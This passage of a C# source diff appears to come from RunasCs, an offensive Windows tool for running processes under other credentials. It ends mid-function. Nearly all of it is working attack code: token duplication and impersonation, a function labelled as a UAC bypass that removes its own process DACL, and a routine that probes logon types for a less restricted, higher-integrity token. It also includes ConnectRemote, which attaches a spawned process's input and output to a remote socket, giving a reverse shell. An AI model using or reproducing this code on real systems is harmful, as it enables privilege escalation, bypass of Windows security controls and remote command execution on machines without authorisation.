extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, int TokenType, ref IntPtr DuplicateTokenHandle); - + [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx", SetLastError = true)] + private static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, IntPtr lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, int TokenType, ref IntPtr DuplicateTokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] + private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out ProcessInformation lpProcessInformation); + [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] private static extern bool CreateProcessWithLogonW(String userName,String domain,String password,UInt32 logonFlags,String applicationName,String commandLine,uint creationFlags,UInt32 environment,String currentDirectory,ref STARTUPINFO startupInfo,out ProcessInformation processInformation); @@ -169,18 +201,16 @@ private enum SE_OBJECT_TYPE private static extern bool CreateProcessAsUser(IntPtr hToken,string lpApplicationName,string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles,uint dwCreationFlags,IntPtr lpEnvironment,string lpCurrentDirectory,ref STARTUPINFO lpStartupInfo,out ProcessInformation lpProcessInformation); [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] - private static extern bool CreateProcessWithTokenW(IntPtr hToken, int dwLogonFlags, string lpApplicationName, string lpCommandLine, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out ProcessInformation lpProcessInformation); - + private static extern bool CreateProcessWithTokenW(IntPtr hToken, uint dwLogonFlags, string lpApplicationName, string lpCommandLine, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out ProcessInformation lpProcessInformation); [DllImport("advapi32.dll", SetLastError = true)] private static extern uint SetSecurityInfo(IntPtr handle, SE_OBJECT_TYPE ObjectType, uint SecurityInfo, IntPtr psidOwner, IntPtr psidGroup, IntPtr pDacl, IntPtr pSacl); - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, uint nSize); [DllImport("kernel32.dll")] - static extern bool SetNamedPipeHandleState(IntPtr hNamedPipe, ref UInt32 lpMode, IntPtr lpMaxCollectionCount, IntPtr lpCollectDataTimeout); + private static extern bool SetNamedPipeHandleState(IntPtr hNamedPipe, ref UInt32 lpMode, IntPtr lpMaxCollectionCount, IntPtr lpCollectDataTimeout); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); @@ -189,38 +219,40 @@ private enum SE_OBJECT_TYPE [return: MarshalAs(UnmanagedType.Bool)] private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); - [DllImport("userenv.dll", SetLastError=true)] - static extern bool CreateEnvironmentBlock( out IntPtr lpEnvironment, IntPtr hToken, bool bInherit ); + [DllImport("userenv.dll", SetLastError=true, CharSet = CharSet.Auto)] + private static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit ); + + [DllImport("userenv.dll", SetLastError=true, CharSet = CharSet.Auto)] + private static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment); - [DllImport("userenv.dll", SetLastError=true)] - static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment); + [DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)] + private static extern bool GetUserProfileDirectory(IntPtr hToken, StringBuilder path, ref int dwSize); - [DllImport("userenv.dll", SetLastError=true, CharSet=CharSet.Auto)] - static extern bool GetUserProfileDirectory(IntPtr hToken, StringBuilder path, ref int dwSize); + [DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)] + private static extern bool LoadUserProfile(IntPtr hToken, ref PROFILEINFO lpProfileInfo); + + [DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)] + private static extern bool UnloadUserProfile(IntPtr hToken, IntPtr hProfile); [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - internal static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags); + private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags); [DllImport("ws2_32.dll", SetLastError = true)] - public static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize); + private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize); [DllImport("ws2_32.dll", SetLastError = true)] - public static extern ushort htons(ushort hostshort); - - [Obsolete] - [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern uint inet_addr(string cp); + private static extern ushort htons(ushort hostshort); [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] - static extern Int32 WSAGetLastError(); + private static extern Int32 WSAGetLastError(); [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] - static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); + private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern int closesocket(IntPtr s); + private static extern int closesocket(IntPtr s); - private static string GetProcessFunction(int createProcessFunction){ + private string GetProcessFunction(int createProcessFunction){ if(createProcessFunction == 0) return "CreateProcessAsUserW()"; if(createProcessFunction == 1) @@ -228,7 +260,7 @@ private static string GetProcessFunction(int createProcessFunction){ return "CreateProcessWithLogonW()"; } - private static bool CreateAnonymousPipeEveryoneAccess(ref IntPtr hReadPipe, ref IntPtr hWritePipe) + private bool CreateAnonymousPipeEveryoneAccess(ref IntPtr hReadPipe, ref IntPtr hWritePipe) { SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.Length = Marshal.SizeOf(sa); @@ -239,19 +271,19 @@ private static bool CreateAnonymousPipeEveryoneAccess(ref IntPtr hReadPipe, ref return false; } - private static string ReadOutputFromPipe(IntPtr hReadPipe) + private string ReadOutputFromPipe(IntPtr hReadPipe) { string output = ""; uint dwBytesRead = 0; byte[] buffer = new byte[BUFFER_SIZE_PIPE]; if(!ReadFile(hReadPipe, buffer, BUFFER_SIZE_PIPE, out dwBytesRead, IntPtr.Zero)){ - output += "\r\nNo output received from the process.\r\n"; + output += "No output received from the process.\r\n"; } output += Encoding.Default.GetString(buffer, 0, (int)dwBytesRead); return output; } - private static IntPtr connectRemote(string[] remote) + private IntPtr ConnectRemote(string[] remote) { int port = 0; int error = 0; @@ -274,158 +306,371 @@ private static IntPtr connectRemote(string[] remote) SOCKADDR_IN sockinfo = new SOCKADDR_IN(); sockinfo.sin_family = (short)2; - sockinfo.sin_addr = inet_addr(host); + sockinfo.sin_addr = BitConverter.ToUInt32(((IPAddress.Parse(host)).GetAddressBytes()), 0); sockinfo.sin_port = (short)htons((ushort)port); - if( connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0 ) { + if ( connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0 ) { error = WSAGetLastError(); throw new RunasCsException(String.Format("WSAConnect failed with error code: {0}", error)); } return socket; } - - private static int CountMultiStringBytes(IntPtr unicodeStrIntPtr) - { - // EnvironmentBlock format: Unicode-Str\0Unicode-Str\0...Unicode-Str\0\0. - int count = 0; - if(unicodeStrIntPtr == IntPtr.Zero) - return count; - while (true) - { - string str = Marshal.PtrToStringUni(unicodeStrIntPtr); - if (str.Length == 0) - break; - int stringLen = (str.Length + 1 /* char \0 */) * sizeof(char); - count = count + stringLen; - unicodeStrIntPtr = new IntPtr(unicodeStrIntPtr.ToInt64() + stringLen); - } - return count; + + private bool ImpersonateLoggedOnUserWithProperIL(IntPtr hToken, out IntPtr hTokenDuplicate) { + IntPtr hTokenDuplicateLocal = new IntPtr(0); + bool result = false; + // if our main thread was already impersonating remember to restore the previous thread token + if (WindowsIdentity.GetCurrent(true) != null) + this.hTokenPreviousImpersonatingThread = WindowsIdentity.GetCurrent(true).Token; + if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenImpersonation, ref hTokenDuplicateLocal)) + throw new RunasCsException("DuplicateTokenEx", true); + if(AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token) < AccessToken.GetTokenIntegrityLevel(hTokenDuplicateLocal)) + AccessToken.SetTokenIntegrityLevel(hTokenDuplicateLocal, AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token)); + result = ImpersonateLoggedOnUser(hTokenDuplicateLocal); + hTokenDuplicate = hTokenDuplicateLocal; + return result; + } + + private void RevertToSelfCustom() { + RevertToSelf(); + if (this.hTokenPreviousImpersonatingThread != IntPtr.Zero) + ImpersonateLoggedOnUser(this.hTokenPreviousImpersonatingThread); } - private static bool getUserEnvironmentBlock(IntPtr hToken, out IntPtr lpEnvironment, out string warning) + private void GetUserEnvironmentBlock(IntPtr hToken, string username, bool forceProfileCreation, bool userProfileExists, out IntPtr lpEnvironment) { - bool success; - warning = ""; + bool result = false; lpEnvironment = new IntPtr(0); - - success = ImpersonateLoggedOnUser(hToken); - if(success == false) { - warning = "[*] Warning: ImpersonateLoggedOnUser failed with error code: " + Marshal.GetLastWin32Error(); - return false; + PROFILEINFO profileInfo = new PROFILEINFO(); + IntPtr hTokenDuplicate; + if (forceProfileCreation || userProfileExists) { + profileInfo.dwSize = Marshal.SizeOf(profileInfo); + profileInfo.lpUserName = username; + result = LoadUserProfile(hToken, ref profileInfo); + if (result == false && Marshal.GetLastWin32Error() == 1314) + Console.Out.WriteLine("[*] Warning: LoadUserProfile failed due to insufficient permissions"); + } + ImpersonateLoggedOnUserWithProperIL(hToken, out hTokenDuplicate); + try { + CreateEnvironmentBlock(out lpEnvironment, hToken, false); } + catch { + result = false; + } + RevertToSelfCustom(); + CloseHandle(hTokenDuplicate); + if (result && (forceProfileCreation || userProfileExists)) UnloadUserProfile(hToken, profileInfo.hProfile); + } + private bool IsUserProfileCreated(string username, string password, string domainName, int logonType) { + bool result = false; + IntPtr hToken = IntPtr.Zero, hTokenDuplicate = IntPtr.Zero; + int logonProvider = LOGON32_PROVIDER_DEFAULT; + if (logonType == LOGON32_LOGON_NEW_CREDENTIALS) logonProvider = LOGON32_PROVIDER_WINNT50; + result = LogonUser(username, domainName, password, logonType, logonProvider, ref hToken); + if (result == false) + throw new RunasCsException("LogonUser", true); + ImpersonateLoggedOnUserWithProperIL(hToken, out hTokenDuplicate); try { - success = CreateEnvironmentBlock(out lpEnvironment, hToken, false); - if (success == false) - { - warning = "[*] Warning: CreateEnvironmentBlock failed with error code: " + Marshal.GetLastWin32Error(); - RevertToSelf(); - return false; - } + int dwSize = 0; + GetUserProfileDirectory(hToken, null, ref dwSize); + StringBuilder profileDir = new StringBuilder(dwSize); + result = GetUserProfileDirectory(hToken, profileDir, ref dwSize); } catch { - warning = "[*] Warning: CreateEnvironmentBlock failed with error code: " + Marshal.GetLastWin32Error(); - RevertToSelf(); - return false; - } - - // obtain USERPROFILE value - int dwSize = 0; - GetUserProfileDirectory(hToken, null, ref dwSize); - StringBuilder profileDir = new StringBuilder(dwSize); - success = GetUserProfileDirectory(hToken, profileDir, ref dwSize); - if(success == false) - { - warning = "[*] Warning: GetUserProfileDirectory failed with error code: " + Marshal.GetLastWin32Error(); - RevertToSelf(); - return false; - } - - int count = CountMultiStringBytes(lpEnvironment); - - // copy raw environment to a managed array and free the unmanaged block - byte[] managedArray = new byte[count]; - Marshal.Copy(lpEnvironment, managedArray, 0, count); - DestroyEnvironmentBlock(lpEnvironment); - - string environmentString = Encoding.Unicode.GetString(managedArray); - string[] envVariables = environmentString.Split((char)0x00); - - // Construct new user environment. Currently only USERPROFILE is replaced. - // Other replacements could be inserted here. - List newEnv = new List(); - foreach( string variable in envVariables ) { - - if( variable.StartsWith("USERPROFILE=") ) { - newEnv.AddRange(Encoding.Unicode.GetBytes("USERPROFILE=" + profileDir.ToString() + "\u0000")); - } else { - newEnv.AddRange(Encoding.Unicode.GetBytes(variable + "\u0000")); - } + result = false; } - - // finalize EnvironmentBlock. Desired end: \0\0 - newEnv.Add(0x00); - managedArray = newEnv.ToArray(); - lpEnvironment = Marshal.AllocHGlobal(managedArray.Length); - Marshal.Copy(managedArray, 0, lpEnvironment, managedArray.Length); - - success = RevertToSelf(); - if(success == false) - { - warning = "[*] Warning: RevertToSelf failed with error code: " + Marshal.GetLastWin32Error(); - return false; - } - - return true; + RevertToSelfCustom(); + CloseHandle(hToken); + CloseHandle(hTokenDuplicate); + return result; } // UAC bypass discussed in this UAC quiz tweet --> https://twitter.com/splinter_code/status/1458054161472307204 // thanks @winlogon0 for the implementation --> https://github.com/AltF5/MediumToHighIL_Test/blob/main/TestCode2.cs - private bool CreateProcessWithLogonWUacBypass(int logonType, string username, string domainName, string password, string processPath, string commandLine, ref STARTUPINFO startupInfo, out ProcessInformation processInfo) { + private bool CreateProcessWithLogonWUacBypass(int logonType, uint logonFlags, string username, string domainName, string password, string processPath, string commandLine, ref STARTUPINFO startupInfo, out ProcessInformation processInfo) { bool result = false; IntPtr hToken = new IntPtr(0); - // the below logon types are not filtered by UAC, we allow login with them. Otherwise stick with NetworkCleartext - if (logonType == LOGON32_LOGON_NETWORK || logonType == LOGON32_LOGON_BATCH || logonType == LOGON32_LOGON_SERVICE || logonType == LOGON32_LOGON_NETWORK_CLEARTEXT) - result = LogonUser(username, domainName, password, logonType, LOGON32_PROVIDER_DEFAULT, ref hToken); - else - result = LogonUser(username, domainName, password, LOGON32_LOGON_NETWORK_CLEARTEXT, LOGON32_PROVIDER_DEFAULT, ref hToken); - if (result == false) - throw new RunasCsException("CreateProcessWithLogonWUacBypass: Wrong Credentials. LogonUser failed with error code: " + Marshal.GetLastWin32Error()); - + if (!LogonUser(username, domainName, password, logonType, LOGON32_PROVIDER_DEFAULT, ref hToken)) + throw new RunasCsException("CreateProcessWithLogonWUacBypass: LogonUser", true); // here we set the IL of the new token equal to our current process IL. Needed or seclogon will fail. AccessToken.SetTokenIntegrityLevel(hToken, AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token)); // remove acl to our current process. Needed for seclogon SetSecurityInfo((IntPtr)GetCurrentProcess, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); - using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(hToken)) { if (domainName == "") // fixing bugs in seclogon ... domainName = "."; - result = CreateProcessWithLogonW(username, domainName, password, LOGON_NETCREDENTIALS_ONLY, processPath, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo); + result = CreateProcessWithLogonW(username, domainName, password, logonFlags | LOGON_NETCREDENTIALS_ONLY, processPath, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo); } CloseHandle(hToken); return result; } + private string ParseCommonProcessesInCommandline(string commandline) { + string commandlineRet = commandline; + string[] args = commandline.Split(' '); + if (args[0].ToLower() == "cmd" || args[0].ToLower() == "cmd.exe") { + args[0] = Environment.GetEnvironmentVariable("COMSPEC"); + commandlineRet = string.Join(" ", args); + } + if (args[0].ToLower() == "powershell" || args[0].ToLower() == "powershell.exe") { + args[0] = Environment.GetEnvironmentVariable("WINDIR") + @"\System32\WindowsPowerShell\v1.0\powershell.exe"; + commandlineRet = string.Join(" ", args); + } + return commandlineRet; + } + + private bool IsLimitedUserLogon(IntPtr hToken, string username, string domainName, string password, out int logonTypeNotFiltered) { + bool isLimitedUserLogon = false; + bool isTokenUACFiltered = false; + IntPtr hTokenNetwork = IntPtr.Zero; + IntPtr hTokenBatch = IntPtr.Zero; + IntPtr hTokenService = IntPtr.Zero; + logonTypeNotFiltered = 0; + isTokenUACFiltered = AccessToken.IsFilteredUACToken(hToken); + if (isTokenUACFiltered) + { + logonTypeNotFiltered = LOGON32_LOGON_NETWORK_CLEARTEXT; + isLimitedUserLogon = true; + } + else { + // Check differences between the requested logon type and non-filtered logon types (Network, Batch, Service) + // If IL mismatch, the user has potentially more privileges than the requested logon + AccessToken.IntegrityLevel userTokenIL = AccessToken.GetTokenIntegrityLevel(hToken); + if (LogonUser(username, domainName, password, LOGON32_LOGON_NETWORK_CLEARTEXT, LOGON32_PROVIDER_DEFAULT, ref hTokenNetwork) && userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenNetwork)) + { + isLimitedUserLogon = true; + logonTypeNotFiltered = LOGON32_LOGON_NETWORK_CLEARTEXT; + } + else if (!isLimitedUserLogon && LogonUser(username, domainName, password, LOGON32_LOGON_SERVICE, LOGON32_PROVIDER_DEFAULT, ref hTokenService) && userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenService)) + { + // we check Service logon because by default it has the SeImpersonate privilege, available only in High IL + isLimitedUserLogon = true; + logonTypeNotFiltered = LOGON32_LOGON_SERVICE; + } + else if (!isLimitedUserLogon && LogonUser(username, domainName, password, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, ref hTokenBatch) && userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenBatch)) + { + isLimitedUserLogon = true; + logonTypeNotFiltered = LOGON32_LOGON_BATCH; + } + if (hTokenNetwork != IntPtr.Zero) CloseHandle(hTokenNetwork); + if (hTokenBatch != IntPtr.Zero) CloseHandle(hTokenBatch); + if (hTokenService != IntPtr.Zero) CloseHandle(hTokenService); + } + return isLimitedUserLogon; + } + + private void CheckAvailableUserLogonType(string username, string password, string domainName, int logonType, int logonProvider) { + IntPtr hTokenCheck1 = IntPtr.Zero; + if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hTokenCheck1)) { + if (Marshal.GetLastWin32Error() == ERROR_LOGON_TYPE_NOT_GRANTED) { + int availableLogonType = 0; + int[] logonTypeTryOrder = new int[] { LOGON32_LOGON_SERVICE, LOGON32_LOGON_BATCH, LOGON32_LOGON_NETWORK_CLEARTEXT, LOGON32_LOGON_NETWORK, LOGON32_LOGON_INTERACTIVE}; + foreach (int logonTypeTry in logonTypeTryOrder) + { + IntPtr hTokenCheck2 = IntPtr.Zero; + if (LogonUser(username, domainName, password, logonTypeTry, logonProvider, ref hTokenCheck2)) { + availableLogonType = logonTypeTry; + if (AccessToken.GetTokenIntegrityLevel(hTokenCheck2) > AccessToken.IntegrityLevel.Medium) + { + availableLogonType = logonTypeTry; + CloseHandle(hTokenCheck2); + break; + } + } + if (hTokenCheck2 != IntPtr.Zero) CloseHandle(hTokenCheck2); + } + if (availableLogonType != 0) + throw new RunasCsException(String.Format("Selected logon type '{0}' is not granted to the user '{1}'. Use available logon type '{2}'.", logonType, username, availableLogonType.ToString())); + else + throw new RunasCsException("LogonUser", true); + } + throw new RunasCsException("LogonUser", true); + } + if (hTokenCheck1 != IntPtr.Zero) CloseHandle(hTokenCheck1); + } + + private void RunasSetupStdHandlesForProcess(uint processTimeout, string[] remote, ref STARTUPINFO startupInfo, out IntPtr hOutputWrite, out IntPtr hErrorWrite, out IntPtr hOutputRead, out IntPtr socket) { + IntPtr hOutputReadTmpLocal = IntPtr.Zero; + IntPtr hOutputWriteLocal = IntPtr.Zero; + IntPtr hErrorWriteLocal = IntPtr.Zero; + IntPtr hOutputReadLocal = IntPtr.Zero; + IntPtr socketLocal = IntPtr.Zero; + if (processTimeout > 0) + { + IntPtr hCurrentProcess = Process.GetCurrentProcess().Handle; + if (!CreateAnonymousPipeEveryoneAccess(ref hOutputReadTmpLocal, ref hOutputWriteLocal)) + throw new RunasCsException("CreatePipe", true); + if (!DuplicateHandle(hCurrentProcess, hOutputWriteLocal, hCurrentProcess, out hErrorWriteLocal, 0, true, DUPLICATE_SAME_ACCESS)) + throw new RunasCsException("DuplicateHandle stderr write pipe", true); + if (!DuplicateHandle(hCurrentProcess, hOutputReadTmpLocal, hCurrentProcess, out hOutputReadLocal, 0, false, DUPLICATE_SAME_ACCESS)) + throw new RunasCsException("DuplicateHandle stdout read pipe", true); + CloseHandle(hOutputReadTmpLocal); + hOutputReadTmpLocal = IntPtr.Zero; + UInt32 PIPE_NOWAIT = 0x00000001; + if (!SetNamedPipeHandleState(hOutputReadLocal, ref PIPE_NOWAIT, IntPtr.Zero, IntPtr.Zero)) + throw new RunasCsException("SetNamedPipeHandleState", true); + startupInfo.dwFlags = Startf_UseStdHandles; + startupInfo.hStdOutput = hOutputWriteLocal; + startupInfo.hStdError = hErrorWriteLocal; + } + else if (remote != null) + { + socketLocal = ConnectRemote(remote); + startupInfo.dwFlags = Startf_UseStdHandles; + startupInfo.hStdInput = socketLocal; + startupInfo.hStdOutput = socketLocal; + startupInfo.hStdError = socketLocal; + } + hOutputWrite = hOutputWriteLocal; + hErrorWrite = hErrorWriteLocal; + hOutputRead = hOutputReadLocal; + socket = socketLocal; + } + + private void RunasRemoteImpersonation(string username, string domainName, string password, int logonType, int logonProvider, string commandLine, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered) { + IntPtr hToken = IntPtr.Zero; + IntPtr hTokenDupImpersonation = IntPtr.Zero; + IntPtr lpEnvironment = IntPtr.Zero; + if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hToken)) + throw new RunasCsException("LogonUser", true); + if (IsLimitedUserLogon(hToken, username, domainName, password, out logonTypeNotFiltered)) + Console.Out.WriteLine(String.Format("[*] Warning: Logon for user '{0}' is limited. Use the --logon-type value '{1}' to obtain a more privileged token", username, logonTypeNotFiltered)); + if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenImpersonation, ref hTokenDupImpersonation)) + throw new RunasCsException("DuplicateTokenEx", true); + if (AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token) < AccessToken.GetTokenIntegrityLevel(hTokenDupImpersonation)) + AccessToken.SetTokenIntegrityLevel(hTokenDupImpersonation, AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token)); + // enable all privileges assigned to the token + AccessToken.EnableAllPrivileges(hTokenDupImpersonation); + CreateEnvironmentBlock(out lpEnvironment, hToken, false); + if (!CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, CREATE_NO_WINDOW | CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT, lpEnvironment, Environment.GetEnvironmentVariable("SystemRoot") + "\\System32", ref startupInfo, out processInfo)) + throw new RunasCsException("CreateProcess", true); + IntPtr hTokenProcess = IntPtr.Zero; + if (!OpenProcessToken(processInfo.process, AccessToken.TOKEN_ALL_ACCESS, out hTokenProcess)) + throw new RunasCsException("OpenProcessToken", true); + AccessToken.SetTokenIntegrityLevel(hTokenProcess, AccessToken.GetTokenIntegrityLevel(hTokenDupImpersonation)); + // this will solve some permissions errors when attempting to get the current process handle while impersonating + SetSecurityInfo(processInfo.process, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); + // this will solve some issues, e.g. Access Denied errors when running whoami.exe + SetSecurityInfo(hTokenProcess, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); + if (!SetThreadToken(ref processInfo.thread, hTokenDupImpersonation)) + throw new RunasCsException("SetThreadToken", true); + ResumeThread(processInfo.thread); + CloseHandle(hToken); + CloseHandle(hTokenDupImpersonation); + CloseHandle(hTokenProcess); + if (lpEnvironment != IntPtr.Zero) DestroyEnvironmentBlock(lpEnvironment); + } + + private void RunasCreateProcessWithLogonW(string username, string domainName, string password, int logonType, uint logonFlags, string commandLine, bool bypassUac, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered) { + if (logonType == LOGON32_LOGON_NEW_CREDENTIALS) + { + if (!CreateProcessWithLogonW(username, domainName, password, LOGON_NETCREDENTIALS_ONLY, null, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo)) + throw new RunasCsException("CreateProcessWithLogonW logon type 9", true); + } + else if (bypassUac) + { + int logonTypeBypassUac; + // the below logon types are not filtered by UAC, we allow login with them. Otherwise stick with NetworkCleartext + if (logonType == LOGON32_LOGON_NETWORK || logonType == LOGON32_LOGON_BATCH || logonType == LOGON32_LOGON_SERVICE || logonType == LOGON32_LOGON_NETWORK_CLEARTEXT) + logonTypeBypassUac = logonType; + else + { + // Console.Out.WriteLine("[*] Warning: UAC Bypass is not compatible with logon type '" + logonType.ToString() + "'. Reverting to the NetworkCleartext logon type '8'. To force a specific logon type, use the flag combination --bypass-uac and --logon-type."); + logonTypeBypassUac = LOGON32_LOGON_NETWORK_CLEARTEXT; + } + if (!CreateProcessWithLogonWUacBypass(logonTypeBypassUac, logonFlags, username, domainName, password, null, commandLine, ref startupInfo, out processInfo)) + throw new RunasCsException("CreateProcessWithLogonWUacBypass", true); + } + else + { + IntPtr hTokenUacCheck = new IntPtr(0); + if (logonType != LOGON32_LOGON_INTERACTIVE) + Console.Out.WriteLine("[*] Warning: The function CreateProcessWithLogonW is not compatible with the requested logon type '" + logonType.ToString() + "'. Reverting to the Interactive logon type '2'. To force a specific logon type, use the flag combination --remote-impersonation and --logon-type."); + // we check if the user has been granted the logon type requested, if not we show a message suggesting which logon type can be used to succesfully logon + CheckAvailableUserLogonType(username, password, domainName, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT); + // we use the logon type 2 - Interactive because CreateProcessWithLogonW internally use this logon type for the logon + if (!LogonUser(username, domainName, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, ref hTokenUacCheck)) + throw new RunasCsException("LogonUser", true); + if (IsLimitedUserLogon(hTokenUacCheck, username, domainName, password, out logonTypeNotFiltered)) + Console.Out.WriteLine(String.Format("[*] Warning: The logon for user '{0}' is limited. Use the flag combination --bypass-uac and --logon-type '{1}' to obtain a more privileged token.", username, logonTypeNotFiltered)); + CloseHandle(hTokenUacCheck); + if (!CreateProcessWithLogonW(username, domainName, password, logonFlags, null, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo)) + throw new RunasCsException("CreateProcessWithLogonW logon type 2", true); + } + } + + private void RunasCreateProcessWithTokenW(string username, string domainName, string password, string commandLine, int logonType, uint logonFlags, int logonProvider, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered) { + IntPtr hToken = IntPtr.Zero; + IntPtr hTokenDuplicate = IntPtr.Zero; + if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hToken)) + throw new RunasCsException("LogonUser", true); + if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenPrimary, ref hTokenDuplicate)) + throw new RunasCsException("DuplicateTokenEx", true); + if (IsLimitedUserLogon(hTokenDuplicate, username, domainName, password, out logonTypeNotFiltered)) + Console.Out.WriteLine(String.Format("[*] Warning: Logon for user '{0}' is limited. Use the --logon-type value '{1}' to obtain a more privileged token", username, logonTypeNotFiltered)); + // Enable SeImpersonatePrivilege on our current process needed by the seclogon to make the CreateProcessWithTokenW call + AccessToken.EnablePrivilege("SeImpersonatePrivilege", WindowsIdentity.GetCurrent().Token); + // Enable all privileges for the token of the new process + AccessToken.EnableAllPrivileges(hTokenDuplicate); + if (!CreateProcessWithTokenW(hTokenDuplicate, logonFlags, null, commandLine, CREATE_NO_WINDOW, IntPtr.Zero, null, ref startupInfo, out processInfo)) + throw new RunasCsException("CreateProcessWithTokenW", true); + CloseHandle(hToken); + CloseHandle(hTokenDuplicate); + } + + private void RunasCreateProcessAsUserW(string username, string domainName, string password, int logonType, int logonProvider, string commandLine, bool forceUserProfileCreation, bool userProfileExists, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered) { + IntPtr hToken = IntPtr.Zero; + IntPtr hTokenDuplicate = IntPtr.Zero; + IntPtr lpEnvironment = IntPtr.Zero; + if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hToken)) + throw new RunasCsException("LogonUser", true); + if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenPrimary, ref hTokenDuplicate)) 